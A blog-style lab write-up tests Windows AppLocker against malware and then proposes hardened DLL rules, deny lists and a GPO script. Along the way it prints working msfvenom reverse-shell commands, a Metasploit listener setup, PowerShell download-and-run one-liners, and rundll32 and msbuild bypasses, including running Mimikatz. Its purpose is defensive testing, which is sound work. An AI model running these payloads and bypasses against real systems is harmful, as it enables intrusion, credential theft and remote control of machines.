Applocker vs Malware
In this article, Applocker is put through its paces, this time against various malware attacks. There's a nagging doubt that it's not effective and I wish to explore different techniques compromising the system. As vulnerabilities are discovered Applocker's ruleset will evolve to mitigate future attacks.
#The Rules of Engagement
The first part of Applocker vs Malware is creating a baseline, testing a standard Applocker ruleset of Publisher then Hash for EXE's, MSI's and Scripts, default rules for Packages and no rules for DLL's.
Implementing DLL rules is a mixed bag, some organisations that implement Applocker do, and some don't. I know from experience that enabling DLL rules via script creates a rule per dll, there's no grouping available. The excessive rules tank the client's performance leading to some very interesting behaviours. There's manual intervention to reduce rules either via the default ruleset or approved by top-level publisher rules.
Applocker rules will be updated in the event of successful execution of malware to prevent further execution.
The client will be Windows 11 x64 Enterprise with Windows Defender disabled
And the admission..... I'm not a malware expert and am not able to cover all the different types of malware. However, I've previously created malware that's able to bypass Virus Total and it's believed that AV provides around 40% protection. Suggestions, techniques and advice are most welcome.
MSFVenom is the tool of choice for generating malware with Kali @ 10.0.0.1.
The primary account is a standard user unless stated otherwise.
#What we know so far about Applocker...
In previous articles, RCE's gaining System or Service Account privileges bypass Applocker, AV won't protect either, it's all down to the client firewall configuration.
Applocker won't prevent an unquoted service escalation.
Windows Defender Application Control (WDAC) aka Device Guard is a better choice.
#Kali Prep
A little prep is required prior to creating any MSFVenom packages.
Open Metasploit with 'msfconsole' command.
Set up a listener for the reverse shell with the following:
use exploit/multi/handler
set lport 8888
set lhost 10.0.0.1
set payload windows/x64/meterpreter/reverse_tcp
To make any output accessible it will be shared with SimpleHTTPServer.
Python -m SimpleHTTPServer
#Round 1 - Testing the Rules
The first round will focus on executing different types of malware by file type.
#EXE
Generate a reverse shell exe with the following command.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f exe -o /home/user/Malware/rev1.0.exe
The first test is to ensure that Windows Defender detects the reverse shell as malware.
After a successful test, Windows Defender Real-Time Protection is disabled.
Applocker prevents the executing of rev1.0.exe as its not an approved file, this was to be expected.
#HTA
Generate a HTML Application Payload (HTA) with the following:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f hta-psh -o /home/user/Malware/rev1.0.hta
Download to the Windows client and run the following command to execute the reverse shell:
mshta.exe C:\users\user\downloads\rev1.0.hta
Despite executing rev1.0.hta with an approved program, mshta.exe, the payload is interrupted by a host process call and passed for verification to Applocker.
#Word Macro
The following MSFConsole command generates a reverse shell from Microsoft Word.
use exploit/multi/fileformat/office_word_macro
set TARGET 0
set lhost 10.0.0.1
set lport 8888
In this case the Word macro is a wrapper for an executable and is blocked by Applocker.
#Powershell
Powershell scripts are blocked and it may seem pointless to run the following tests, however, the implementation of Applocker enforces Constrained Language Mode and need to understand how it works.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f ps1 -o /home/user/Malware/rev1.0.ps1
Applocker prevents execution.
#Powershell Web
Local PowerShell scripts are blocked, what of remote calls that load into memory!!
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”
powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1" -UseBasicParsing).Content).Invoke();"
Foiled, Constrained Language Mode only supporting core types and New-Object is not a core type.
Bypassing Constrained Language Mode proved fruitless in downgrading Powershell to version 2 as there is no support after Windows 8.
Changing System properties or registry key requires admin privileges.
#DLL
The following command creates a DLL reverse shell.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f dll -o /home/user/Malware/rev1.0.dll
Download the reverse shell and then execute the following command from the Windows client.
rundll32.exe rev1.0.dll,0
Oh dear, without Applocker rules for DLL's a reverse shell was created.
#DLL Rule Addition
Add DLL support and create the default rules.
Re-running rundll32.exe rev1.1.dll,0 and this time the reverse shell is successfully blocked.
#Round 2 - The Bypass
#Applocker Bypass
There are a few methods bypassing Applocker and WDAC as a user, Living Off the Land and passing code through an approved program such as InstallUtil.exe. Bypassing Default Rules by executing from approved locations and finally not maintaining the hashes of denied applications.
#What Microsoft say....
#What I say.....
By not protecting Applocker and mitigating its many flaws, it's guaranteed Applocker will be circumvented. A well-designed and maintained Deny file and folder list does protect Applocker from being bypassed.
Let's get on with the trials and tribulations of Applocker.
#MimiKatz as XML
Time for something different... Mimikatz as an xml file. The following requires elevated admin rights.
Download and save as a .xml file from https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
Logon or elevate PowerShell as an Administrator and run the following commands.
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
msbuild.exe C:\users\admin\downloads\mimikatz.xml
#Reverse Shell as XML
For completeness and to ensure consistent tests, an MSFVenom xml file is generated with the following command. As expected passing an xml file to msbuild.exe bypasses Applocker.
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.1 lport=8888 -f csharp -o /home/user/Malware/rev1.5.xml
#DLL Bypass
I thought DLL execution was fixed......
The Default Rules, in this case the dll rules allow any dll to execute within C:\Windows\ and C:\Program Files\. Execution is guaranteed if rev1.1.dll is copied into any sub-directory.
Running my Security and Vulnerability script provides the following directories to exploit:
The following directories allow a user to write.
C:\Users
C:\ProgramData
C:\Windows\System32\LogFiles\WMI
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\Tasks
C:\Windows\System32\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update
C:\Windows\SysWOW64\Tasks
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\RemoteApp and Desktop Connections Update
C:\Windows\tracing
The following directories allow a user to create files.
C:\Windows\PLA\Reports
C:\Windows\PLA\Reports\en-US
C:\Windows\PLA\Rules
C:\Windows\PLA\Rules\en-US
C:\Windows\PLA\Templates
C:\Windows\Registration\CRMLog
C:\Windows\servicing\Packages
C:\Windows\servicing\Sessions
C:\Windows\System32\Com\dmp
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\Tasks\Microsoft\Windows\PLA
C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
C:\Windows\Tasks
C:\Windows\Temp
Complete the following commands and copy rev1.1.dll into the Temp directory and run the reverse shell.
copy rev1.1.dll C:\Windows\Temp
rundll32.exe C:\Windows\Temp\rev1.1.dll,0
Another successful bypass.
Here's the same dll failing to run from the user's download directory, proving the above bypass.
#Summary
My technical summary of the default rules..... Far too many bypasses and exceptions.
#Round 3 - The Alternative
Not wishing to criticise without an alternative, this is my implementation of a basic dll ruleset. This will prevent the rundll32.exe bypass, but not stop the msbuild.exe or installUtil from being proxied, one step at a time.
Update the DLL Rules from Enforce to Audit, this is important, don't skip this step.
Delete the Default Rules.
Add a new DLL rule, browse to C:\Windows\twain_32.dll.
Change the slider, move it up from 'File Version' to 'Publisher', and create the rule.
Note: If for example the Publisher is OpenSSL or doesn't inspire confidence, move the slider down, the more detail, the number of rules required will increase.
Anything signed by Microsoft will be allowed, implicitly meaning if it's not signed by Microsoft it won't run.
Reboot the client and launch applications.
Open the Applocker EXE and DLL eventlogs.
Search for event id's 8003, note the path and repeat adding rules by Publisher.
Dll's that aren't signed or error, add a path rule.
A publisher rule and 2 path rules were required for Windows 11 and Office 2019.
Revert the DLL Rules from Audit to Enforce.
Now when I try to launch the reverse shell 'rundll32.exe C:\Windows\Temp\rev1.1.dll,0', Applocker prevents loading.
Caution: Disabling Rundll32.exe creates challenges with Windows Interface, allowing its use without Publisher Rules presents a security risk.
#Round 4 - Deny the World
The final piece of the puzzle, deny lists, which I've personally found very effective in securing Windows. Admittedly never in isolation and always part of a series of hardening techniques, particularly effective when used in conjunction with WDAC.
Microsoft publish a list of recommended files to deny (here), due to the issues highlighted above. I agree with Microsoft's sentiment, files update, hashes change, bypasses return. It's a concern that denied files can be circumvented by copying to another location or retrieving an older version from Winsxs folder. Hence I use the Starship Troopers approach, the enemy cannot push a button if you disable all possible points of execution, it's not just about the hand.
As well as denying the files recommended by Microsoft, prevent execution from any directory where the user can write, mitigating updated signed files from executing from those locations when they would have been denied.
#Manual Applocker
The manual approach and hours of your life lost....
Create a new deny rule for the individual file as a hash from Microsoft's naughty list. Search System32, SysWow64 and WinSxs directories for all instances of backup files, 32bit and 64bit versions.
Create a new deny path rule or EXE, MSI Scripts and DLL's of each directory listed above that allow the user to Write and potential execute. Add the following additional directories, 'C:\Users\' and 'C:\ProgramData\'.
Run the following command to prevent users from creating new directories off the root of C:\
& icacls.exe c:\ /remove:g "Authenticated Users"
#Automated Applocker
All the heavy lifting is accomplished with a Domain Applocker GPO script that can be downloaded @ https://github.com/Tenaka/Applocker. Retrieve both the script and the PathRules.xml and copy them to C:\Downloads\Applocker.
The script is targeted at Domain clients and servers the & icacls.exe c:\ /remove:g "Authenticated Users" command requires running separately.
Execute the script as Domain Admin or hash out the New-GPO lines, pre-create empty GPO's and delegate, ensuring the name of the GPO's is fed into the script as GPOName, GPOName_Path, GPOName_PS.
To create local policies, not Domain policies, hash the following lines from the script.
$GPOAdmin = $GPOName + "_PS"
$GPOPath = $GPOName + "_Path"
new-GPO -Name $GPOName
new-GPO -Name $GPOAdmin
New-GPO -Name $GPOPath
$cn = (Get-GPO -Name $GPOName).path
$cnAdmin = (Get-GPO -Name $GPOAdmin).path
$cnPath = (Get-GPO -Name $GPOPath).path
$dom=(Get-ADDomainController).hostname
-Ldap "LDAP://$dom/$cn"
Further information on the workings of the script can be found (here).
Auditing and creating the policies is fairly time-consuming, coffee time. When complete, open the GPO's, review the settings and apply them to a test client. The picture below is of a local policy containing a mix of approvals, denies and path rules.
Suggestion: Consider changing the policies from Enforce to Audit, monitoring for event log warnings.
Now the warning: You run the script at your own risk, throughly test and validate first before implementing.
#The Final Test
A quick recap of the xml bypass. It's possible to launch both Mimikatz and a reverse shell by passing xml files to msbuild.exe. Msbuild.exe is an approved program that takes line input and it's happy to oblige.
To prevent future attacks using msbuild.exe and other trusted programs Microsoft's recommended deny list was implemented, blocking msbuild.exe from executing.
Executing msbuild.exe C:\users\user\downloads\rev1.5.xml results in 'This program is blocked.
Its also evident that msbuild.exe is blocked with an event log error id of 8004.
#Judges Decision - Split Draw
This article aimed to explore Applocker, its different configurations and whether it could resist malware and bypass techniques. Hopefully, you agree, that the aim was achieved, Applocker does provide robust and effective means of protection against malware.
There is a catch, demonstrated above, Applocker is only as effective as its configuration. Standard default directory and publisher rules provide superficial protection, it protects the users from clickbait, leaving much to be desired. Users do require execution control to protect them from themselves, where AV may fail. Configured alongside Anti-Virus, Firewalls and other protections, Applocker in my opinion enhances the overall system security.
When pushing the envelope and implementing harsher policies to mitigate the vulnerabilities, it's easy with the script provided. Support, identifying problems and installing new software on clients becomes hard work. Chained execution and hidden file types that are protected but aren't documented make life interesting. Not to put you off it's so you are prepared.
Thanks for your time reading this article, please leave a comment via the Homepage.